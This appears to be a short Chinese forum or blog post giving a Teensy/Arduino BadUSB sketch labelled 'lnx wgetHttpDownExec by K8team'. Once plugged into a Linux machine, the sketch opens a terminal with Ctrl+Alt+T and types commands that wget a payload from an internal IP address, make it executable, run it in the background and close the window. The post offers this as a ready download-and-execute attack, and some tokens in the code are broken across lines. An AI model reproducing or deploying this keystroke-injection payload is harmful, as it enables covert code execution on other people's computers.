直接复制代码有可能导致烧录脚本时出错
实际请使用K8飞刀生成(因需要指定编码)
这个应该是最简短的了 下载paylaod直接运行
//lnx wgetHttpDownExec by K8team 2015.4.6
#define TYPESPEED 15
void setup()
{
//linux downexec
delay(5000);
terminal();
delay(3000);
Keyboard.println("rm xxoo.out");
delay(2000);
Keyboard.println("wget http://192.168.1.104/x.out -O xxoo.out");
delay(2000);
Keyboard.println("chmod +x xxoo.out");
Keyboard.println("./xxoo.out &");
delay(2000);
Keyboard.println("exit");
}
void loop()
{
}
void terminal()
{
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_
CTRL | MODIFIERKEY_ALT);
Keyboard.
send_now();
Keyboard.set_key1(KEY_T);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}